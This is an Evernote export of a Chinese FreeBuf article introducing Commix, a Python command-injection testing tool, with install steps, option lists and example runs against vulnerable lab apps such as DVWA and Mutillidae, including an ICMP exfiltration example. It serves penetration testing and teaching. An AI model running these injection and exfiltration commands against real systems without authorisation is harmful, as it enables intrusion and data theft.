<html>
<head>
  <title>Evernote Export</title>
  <basefont face="微软雅黑" size="2" />
  <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
  <meta name="exporter-version" content="Evernote Windows/303788 (zh-CN, DDL); Windows/10.0.15063 (Win64);"/>
  <style>
    body, td {
      font-family: 微软雅黑;
      font-size: 10pt;
    }
  </style>
</head>
<body>
<a name="3516"/>

<div>
<span><div><p style="box-sizing: border-box; margin: 0px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; text-align: center;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 176, 80);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;"><a href="http://image.3001.net/images/20150415/14290749692531.png" style="box-sizing: border-box; background: 0px 0px; color: rgb(6, 154, 239); text-decoration: underline;" target="_blank"><img src="系统命令注入漏洞自动化测试工具 – Commix_files/Image.jpg" type="image/jpeg" style="box-sizing: border-box; border: 0px; vertical-align: middle; max-width: 100%; display: inline;" title="commix.png"/></a></strong></span></p><p style="box-sizing: border-box; margin: 0px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 176, 80);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">Commix是一个适用于web开发者、渗透测试人员及安全研究者的自动化测试工具，可以帮助他们更高效的发现web应用中的命令注入攻击相关漏洞。Commix由Python编写。</strong></span></p><p style="box-sizing: border-box; margin: 15px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 0, 0); font-size: 18px;"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">环境要求</strong></span><br style="box-sizing: border-box;"/>
Python 2.6.x或2.7.x</p><p style="box-sizing: border-box; margin: 15px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 0, 0); font-size: 18px;"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">安装</strong></span><br style="box-sizing: border-box;"/>
下载git clone https://github.com/stasinopoulos/commix.git commix</p><p style="box-sizing: border-box; margin: 15px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 0, 0); font-size: 18px;"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">使用</strong></span></p><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">基本使用</strong></span></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">Usage: python commix.py [options]</span></pre><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);">选项</span></strong><br style="box-sizing: border-box;"/></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">-h, --help Show help and exit.
--verbose             Enable the verbose mode.
--install             Install 'commix' to your system.
--version             Show version number and exit.
--update              Check for updates (apply if any) and exit.</span></pre><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);">目标</span></strong><br style="box-sizing: border-box;"/></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">--url=URL           Target URL.
--url-reload        Reload target URL after command execution.</span></pre><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">请求</strong></span><br style="box-sizing: border-box;"/></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">--host=HOST         HTTP Host header.
--referer=REFERER   HTTP Referer header.
--user-agent=AGENT  HTTP User-Agent header.
--cookie=COOKIE     HTTP Cookie header.
--headers=HEADERS   Extra headers (e.g. 'Header1:Value1\nHeader2:Value2').
--proxy=PROXY       Use a HTTP proxy (e.g. '127.0.0.1:8080').
--auth-url=AUTH_..  Login panel URL.
--auth-data=AUTH..  Login parameters and data.
--auth-cred=AUTH..  HTTP Basic Authentication credentials (e.g.
                    'admin:admin').</span></pre><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">注入</strong></span><br style="box-sizing: border-box;"/></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">--data=DATA         POST data to inject (use 'INJECT_HERE' tag).
--suffix=SUFFIX     Injection payload suffix string.
--prefix=PREFIX     Injection payload prefix string.
--technique=TECH    Specify a certain injection technique : 'classic',
                    'eval-based', 'time-based' or 'file-based'.
--maxlen=MAXLEN     The length of the output on time-based technique
                    (Default: 10000 chars).
--delay=DELAY       Set Time-delay for time-based and file-based
                    techniques (Default: 1 sec).
--base64            Use Base64 (enc)/(de)code trick to prevent false-
                    positive results.
--tmp-path=TMP_P..  Set remote absolute path of temporary files directory.
--icmp-exfil=IP_..  Use the ICMP exfiltration technique (e.g.
                    'ip_src=192.168.178.1,ip_dst=192.168.178.3').</span></pre><p style="box-sizing: border-box; margin: 15px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 0, 0); font-size: 18px;"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">测试示例</strong></span></p><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">测试漏洞web应用Damn </strong></span></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">python commix.py --url=&quot;http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#&quot; --data=&quot;ip=INJECT_HERE&amp;submit=submit&quot; --cookie=&quot;security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4&quot;</span></pre><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">使用注入攻击Payload参数测试php-Charts 1.0</strong></span><br style="box-sizing: border-box;"/></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">python commix.py --url=&quot;http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE&quot; --prefix=&quot;//&quot; --suffix=&quot;'&quot;</span></pre><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">使用特殊的头和HTTP代理测试OWASP Mutillidae</strong></span><br style="box-sizing: border-box;"/></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">python commix.py --url=&quot;http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&amp;page=dns-lookup.php&quot; --data=&quot;target_host=INJECT_HERE&quot; --headers=&quot;Accept-Language:fr\nETag:123\n&quot; --proxy=&quot;127.0.0.1:8081&quot;</span></pre><p style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 112, 192);">使用ICMP渗漏（exfiltration）技术测试Persistence</span></strong><br style="box-sizing: border-box;"/></p><pre style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; color: rgb(51, 51, 51); word-break: break-all; word-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><span style="box-sizing: border-box; color: rgb(72, 72, 76);">su -c &quot;python commix.py --url=&quot;http://192.168.178.8/debug.php&quot; --data=&quot;addr=127.0.0.1&quot; --icmp-exfil=&quot;ip_src=192.168.178.5,ip_dst=192.168.178.8&quot;&quot;</span></pre><div style="box-sizing: border-box; margin: 5px 0px 10px; font-size: 15px; word-wrap: break-word; word-break: break-word; color: rgb(88, 88, 88); font-family: 微软雅黑; font-style: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255);"><div><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-word; color: rgb(0, 0, 0);"><strong style="box-sizing: border-box; font-weight: 700; word-wrap: break-word; word-break: break-word;">*翻译及整理/phper，转载须注明来自FreeBuf黑客与极客（FreeBuf.COM）</strong></span></div></div></div></span>
</div></body></html> 